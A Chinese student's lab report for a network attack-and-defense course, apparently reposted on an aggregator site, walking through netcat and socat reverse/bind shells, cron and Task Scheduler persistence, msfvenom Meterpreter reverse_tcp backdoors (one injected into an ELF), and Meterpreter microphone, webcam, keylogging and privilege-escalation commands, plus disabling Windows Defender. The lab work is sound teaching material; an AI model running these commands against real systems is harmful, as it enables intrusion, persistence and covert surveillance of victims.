20232315 2025-2026-1 《网络与系统攻防技术》实验二实验报告

news/2025/10/22 21:43:48/文章来源:https://www.cnblogs.com/klein0304/p/19155706

20232315 2025-2026-1 《网络与系统攻防技术》实验二实验报告

目录

  • 一、实验基本信息
  • 二、实验内容
  • 三、实验要求
  • 四、实验过程
    • 4.1使用netcat获取主机操作Shell
    • 4.2使用socat获取主机操作Shell, 任务计划启动
    • 4.3使用MSF生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell
    • 4.4使用MSF生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权
    • 4.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
  • 五、回答问题
  • 六、问题及解决方案
  • 七、实验感想

一、实验基本信息

  1. 实验环境:Kali Linux虚拟机 + VMware Workstation

  2. 实验工具:netcat,socat,MSF等

  3. 实验时间:2025.10.14

二、实验内容

  1. 使用netcat获取主机操作Shell,cron启动某项任务(任务自定)

  2. 使用socat获取主机操作Shell, 任务计划启动

  3. 使用MSF meterpreter(或其他软件)生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

  4. 使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

  5. 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

三、实验要求

  • 掌握后门原理及免杀技术

  • 回答问题

    1. 例举你能想到的一个后门进入到你系统中的可能方式?

    2. 例举你知道的后门如何启动起来(win及linux)的方式?

    3. Meterpreter有哪些给你映像深刻的功能?

    4. 如何发现自己有系统有没有被安装后门?

四、实验过程

4.1使用netcat获取主机操作Shell

  • ipconfig获取主机IP地址

image

主机IP:192.168.149.1

  • Windows上在4444端口启动监听
nact.exe -l -p 4444

image

  • 在4444端口启动netcat监听,当有连接时执行bash shell
nc 192.168.149.1 4444 -e /bin/sh

image

  • Windows上获得kali的shell

image

ls命令成功执行;whoami命令结果:kali

  • 执行script -qc /bin/bash /dev/null获取完整的shell

image

  • 执行crontab -l查看cron服务,若有则执行crontab -r删除,再用echo "* * * * * /bin/nc 192.168.149.1 4444 -e /bin/bash >/dev/null 2>&1" | crontab -添加指定cron服务,本实验中添加的服务会使kali中每分钟执行一次nc 192.168.149.1 4444 -e /bin/bash,这样一来只要在Windows主机上执行监听就能获取kali的shell

image

  • cron任务验证,主机执行ncat.exe -l -p 4444 -v,直接获取kali的shell

image

4.2使用socat获取主机操作Shell, 任务计划启动

  • 利用windows的任务计划程序来自启动,获取shell

  • 打开任务计划程序,创建系统级计划任务,定义后门的启动条件和行为

image

  • 设置触发器,确定任务如何启动,什么时候启动,这里设置触发器类型为一次,在实验当天的21:40启动

image

  • 设置活动参数,程序或脚本写入socat.exe位置:D:\socat\socat\socat.exe;添加参数TCP-LISTEN:2315 EXEC:cmd.exe,pty,stderr,在2315端口建立TCP监听,当有连接时执行Windows命令提示符,创建伪终端,提供完整的终端功能并将标准错误重定向到标准输出

image

  • 完成创建后,可以看到SocatBackdoor_20232315任务正在运行(此时已过了任务启动时间)

image

  • 在windows上验证2315端口监听功能,已正常监听

image

  • 在kali终端执行socat - tcp:192.168.149.1:2315,获取windows的shell

image

终端命令可正常执行,获取成功。

4.3使用MSF生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell

  • 生成Windows后门程序,kali上执行命令

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.149.129 LPORT=2315 -f exe > backdoor20232315.exe 
    
    • -p windows/meterpreter/reverse_tcp:使用Windows的Meterpreter反向TCP载荷
    • LHOST=192.168.149.129:Kali的IP地址(监听端)
    • LPORT=2315:监听端口
    • -f exe:输出格式为Windows可执行文件

image

  • 使用http传输,在Kali上启动HTTP服务,执行:
python3 -m http.server 8080

image

  • 在Windows上下载后门文件,在Windows PowerShell中执行:
Invoke-WebRequest -Uri "http://192.168.149.129:8080/backdoor20232315.exe" -OutFile "D:\netcat\ncat\backdoor20232315.exe"

等待文件传输完成后执行dir backdoor20232315.exe,检查文件是否存在

image

  • 设置MSF监听器,新开一个kali终端执行msfconsole,在msfconsole中依次执行:
use exploit/multi/handler # 选择监听处理器,使用多功能请求处理器
set payload windows/meterpreter/reverse_tcp  # 设置payload载荷类型,与生成后门时一致
set LHOST 192.168.149.129  # 设置监听地址(kali虚拟机ip地址)
set LPORT 2315  # 设置监听端口
exploit #开始监听

image

  • 此时在主机运行传送过来的后门程序

image

可以看到msf中:

image

成功获取windows主机的shell

4.4使用MSF生成获取目标主机音频、摄像头、击键记录等内容的后门,并尝试提权

  • 在MSF框架的Meterpreter会话中执行如下命令:
  1. record_mic #获取音频,保存到对应目录下
    

    image

    image

    可以在文件管理器的对应目录下看到生成的音频文件

  2. webcam_snap #获取摄像头,主机摄像头权限要打开
    

    image

    image

    成功获取主机摄像头拍照

  3. keyscan_start  #记录主机键盘记录,开始记录
    keyscan_dump   #读取记录
    

    image

    成功读取到主机键盘的输入记录

  4. getuid 		 #查看当前用户
    getsystem	 #提权
    

    image

    第一次提权失败,后尝试了AI推荐的一些解决方案,均没有成功,检查了一下当前用户的权限:

    image

    从权限列表看,当前用户账户是管理员组的成员,但当前meterpreter进程没有管理员权限,受UAC限制,只能以标准用户权限运行,无法执行需要提升权限的操作。

4.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

  • 利用MSF生成shellcode,注入到目标程序 pwn20232315_shell(存在漏洞的Linux程序)中,当运行程序时同时执行shellcode,获取kali虚拟机的shell,先执行以下命令生成文件

    msfvenom -p linux/x86/meterpreter_reverse_tcp LHOST=192.168.149.129 LPORT=2315 -x /home/kali/Downloads/pwn20232315_shell -f elf > 20232315_pwnshell.elf
    
    • msfvenom: Metasploit框架中的payload生成工具

    • -p linux/x86/meterpreter_reverse_tcp:

      • -p 指定payload类型

      • linux/x86/meterpreter_reverse_tcp 是一个针对Linux x86系统的反向TCP连接payload

    • LHOST=192.168.149.129: 攻击者的IP地址(监听端)

    • LPORT=2315: 攻击者监听的端口号

    • -x /home/kali/Downloads/pwn20232315_shell:

      • -x 指定要注入payload的模板文件,并将恶意代码注入目标可执行文件中
    • -f elf: 输出格式为ELF(Linux可执行文件格式)

    • > 20232315_pwnshell.elf: 将生成的payload重定向到名为20232315_pwnshell.elf的文件中

      image

  • 执行msfconsole进入msf控制台,执行以下命令,设置Metasploit监听器:

    use exploit/multi/handler
    set payload linux/x86/meterpreter/reverse_tcp  #设置payload类型为Linux x86系统的反向TCP meterpreter
    set LHOST 192.168.149.129  #设置监听主机(kali)的IP地址
    set LPORT 2315  #设置监听端口
    exploit  #启动监听器
    

    image

  • 另开一个终端执行./20232315_shell.elf,运行生成的可执行文件

    image

    中间退出重新运行了一下20232315_pwnshell.elf文件,但最终成功获取了kali的shell,完成了攻击

五、回答问题

  1. 例举你能想到的一个后门进入到你系统中的可能方式?

    • 攻击者可能会发送带有恶意附件的钓鱼邮件,伪装成正常的邮件,受害者点击后就可能在计算机中被植入后门

    • 在一些非官方网站中下载的app就可能带有恶意后门

  2. 例举你知道的后门如何启动起来(win及linux)的方式?

    • Windows:利用任务计划程序创建定时启动任务

    • Linux:cron定时任务,如实验中使用的

  3. Meterpreter有哪些给你映像深刻的功能?

    • 能够对指定程序生成shellcode并注入,获取目标主机shell,使用简单

    • 一旦获取目标主机的shell,就能获取对方的麦克风、摄像头、键盘记录等,可以让被攻击者在不知不觉中就被监视

  4. 如何发现自己有系统有没有被安装后门?

    • 检查是否有异常网络连接:netstat -anp | grep ESTABLISHED

    • 检查是否有端口在监听:ss -tuln | grep LISTEN

六、问题及解决方案

1. 后门程序无法运行

问题:第一次在主机运行传送过来的后门程序,程序无法运行

image

原因:系统将文件识别成病毒

image

解决:临时关闭Windows Defender,打开windows安全中心,关闭实时保护和篡改保护

image

2. MSF监听器在不断地重复发送stage

问题:在进行4.5 使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell的实验时,第一次进行exploit监听时,链接似乎成功了,但MSF监听器在不断地重复发送stage,但没有成功建立meterpreter会话

image

原因:分析输出内容发现,连接到达了192.168.149.1,这是windows主机的ip地址,但在这一步的实验中是需要连接到的是kali虚拟机本身,猜测是因为这一步实验中使用的监听端口和4.3 使用MSF生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell中使用的监听端口相同,而且主机上后门程序还在运行,导致连接错了地方

解决:彻底结束主机的后门程序,重新进行MSF监听,并在执行exploit后尽快执行kali上的20232315_pwnshell.elf文件,获取到了kali的shell。

3. ncat或socat传输出错

实验要求使用ncat或socat传输生成的后门程序,但不知为何,我在进行这一步时不是无法传输就是文件在传输过程中有损坏(其实一开始有成功传输的文件,但在更新Metasploit后就不能成功传输了),试了AI推荐的方法也没有解决,所以最后采用了http传输。

七、实验感想

  完成试验后,我感觉本次实验难度似乎不是太大,但是在进行实验的过程中总是会遇到各种各样意想不到的问题,最主要的还是MSF meterpreter的使用,初次接触不熟悉甚至不知从何下手。在进行4.3 使用MSF meterpreter生成可执行文件(后门),利用ncat或socat传送到主机并运行获取主机Shell这一步时被卡了很久,我遇到了同学们在群里讨论过的比较普遍的问题,也遇到了其他同学没遇到的问题,过程中甚至搞崩了Metasploit的bundle环境,最后不得不重建虚拟机。总之,于我个人而言本次实验的过程有些艰难,但也让我收获颇多,更深入地了解了Metasploit框架和netcat、socat等工具的作用与如何使用。同时,本次实验也让我从攻击者的角度看到了恶意代码的威力。作为网络安全学习者,我们学习的技术既能用于保护系统安全,也可能被恶意使用。在今后的学习和工作中,我们必须时刻遵守职业道德和法律法规,将所学知识用于正当的防御和测试目的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/943769.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025-10-21 XQQ Round 赛后总结

赛时心路历程开 T1,然后 think 一会就秒掉了。大洋里一遍过。 开 T2,然后 think 一会就秒掉了。大洋里也是一遍过。 15:48 think T3,结果假了。但是注意到在 \(m=0\) 的时候是对的,10 分也是分。 16:25 想不到 T3。…

《中华人民共和国网络安全法》第二十一条这一核心考点

《网络安全法》第二十一条 考点精析 法条原文:国家实行网络安全等级保护制度。网络运营者应当按照网络安全等级保护制度的要求,履行下列安全保护义务,保障网络免受干扰、破坏或者未经授权的访问,防止网络数据泄露或…

二三级区别

等保第二级 vs 第三级核心差异及考点精析 核心关系:第二级是 “指导防护” ,第三级是 “强制管控、增强审计” 。从二级到三级是质的飞跃,而非简单量的增加,这正是考试的重点。核心差异对比与考点解析控制领域 核心…

小红书 404 重定向

function clientRedirect(e) { window.location.href = e, setTimeout(function() { window.location.href = e }, 100), setTimeout(function() { …

第九章-Where-1S-tHe-Hacker

第九章-Where-1S-tHe-Hacker 1、通过本地 PC RDP到服务器并且找到黑客ID 为多少,将黑客ID 作为 FLAG 提交; 这里一定一定要先把windows安全中心关了。不然会影响后门题目正常做从这里看到了管理员账户和密码,我们先看…

CF 2023D Many Games

huiyoude上界卡不来,怎么这么菜??? 下文的概率都是指的 \(\frac{p}{100}\)。 首先有一个想法就是直接背包,但是 \(\prod p\) 涉及不小的数的乘积并不好放入状态,所以考虑设 \(f_s\) 表示 \(\sum w = s\) 的最大概…

2025.10.22考试记录

T1 题意 在 \(n\) 瓶水中有1瓶毒药,\(m\)次实验,每次选择 \(k\) 瓶水测试其中是否有毒药,给出实验结果,试判断能否辨别出毒药,若能则给出最早得出结论的实验批次,否则求出可能成为毒药的编号。 分析 提前一天就被…

2025多校冲刺CSP模拟赛7 题目分析

T1 题目概述 求: \[\sum_{i=1}^n\sum_{j=i}^n[\gcd(i,j)=i\text{ xor } j] \]其中 \(n\leq 10^7\)。 分析 赛时没有做出来(doge)。 其实细想一下还是可以做的。 不难想到枚举 \(d=\gcd(i,j)\),那么 \(i\text{ xor …

学习资源

关于科研方向以及自己学习的一些经验借鉴资源 LLM 度盘有资料 【1080P】安德烈卡帕西:深入探索像ChatGPT这样的大语言模型|Andrej Karpathy 【2025最新】LLM大模型零基础全套入门保姆级课程,台大李宏毅《生成式人工…

CMC-C# Visual Studio2022 中不能进入断点設置方法

CMC-C# Visual Studio2022 中不能进入断点設置方法

[题解]P4616 [COCI 2017/2018 #5] Pictionary

P4616 [COCI 2017/2018 #5] Pictionary 我们发现,第 \(i\) 天会让所有为 \((m-i+1)\) 倍数的节点相互连通。可以将 \((m-i+1)\) 向它所有的倍数连边,效果是相同的。 我们规定边权为 \(i\)。 那么对于建好的图,我们不…

2025.10.22总结 - A

今天上了离散和马原,感觉还可以,加油

蛋白表达系统的技术布局与应用

引言 蛋白表达技术是分子生物学与生物制药研究的核心支撑之一。不同的蛋白表达系统在转录调控、翻译后修饰以及生产效率上各具特点。对于科研与产业化生产而言,系统选择不仅影响产量,更决定蛋白的结构与功能完整性。…

10月22日

今日学习了离散数学的逻辑结构与马克思主义的原理概论。离散数学严谨的符号推理,与马克思主义宏观的历史规律,分别从微观与宏观维度锻炼了我的抽象与辩证思维。二者虽领域迥异,却共同揭示了世界运行的内在逻辑与秩序…

软件工程学习日志2025.10.22

今日目标让后端服务稳定启动,加载最新静态资源与 WebSocket 逻辑。 修复聊天气泡左右归属判定错误(所有消息都在右侧)。 提升右侧气泡内昵称与时间的可读性(颜色对比度不足)。实施过程多次尝试本地启动方式,修正…

Seg T

交换律类任意一个标记向下时,两种标记都要下放 求max 时,query的无关子树返回极小值 pushdown和update的修改应当相同(对于结合律类时,可能update时对同一个tag的处理不同(如+&时对 add 有+有),对应到pushd…

Typora的多端同步方案,如何多台计算机共享md文件?Windows和Mac通过定时执行git来同步markdown文件

Windows和Mac通过定时执行git来同步markdown文件。 在阅读文章前,务必给typora配好图床,图床真的很爽,去网上搜搜教程二十分钟配好。 配置git免密码推拉 首先需要给git配置免登录,使用ssh推拉代码。如果不想看废话…

OOP-实验二

实验任务一 源代码 T.h点击查看代码 #pragma once#include <string>// 类T: 声明 class T { // 对象属性、方法 public:T(int x = 0, int y = 0); // 普通构造函数T(const T &t); // 复制构造函数T(T &am…

P2272 [ZJOI2007] 最大半连通子图

P2272 [ZJOI2007] 最大半连通子图 题解闲聊:最近好像一直在写题,好久没补题解了qwq,今天来一发。 以及,不会缩点的请先移步P3387题目传送门 博客传送门 思路 首先呢,如果原图里存在强连通分量,那么它们首先是半联…

2025年,哪些微信公众号排版工具能带来效率变革?

最初的纯手动排版到如今AI赋能的全流程创作工具,技术的进步让内容生产效率翻倍提升。今天,我将基于海量实测和真实使用场景,为你盘点2025年市面上最值得入手的8款公众号编辑器,并重点测评有一云AI编辑器——这款被…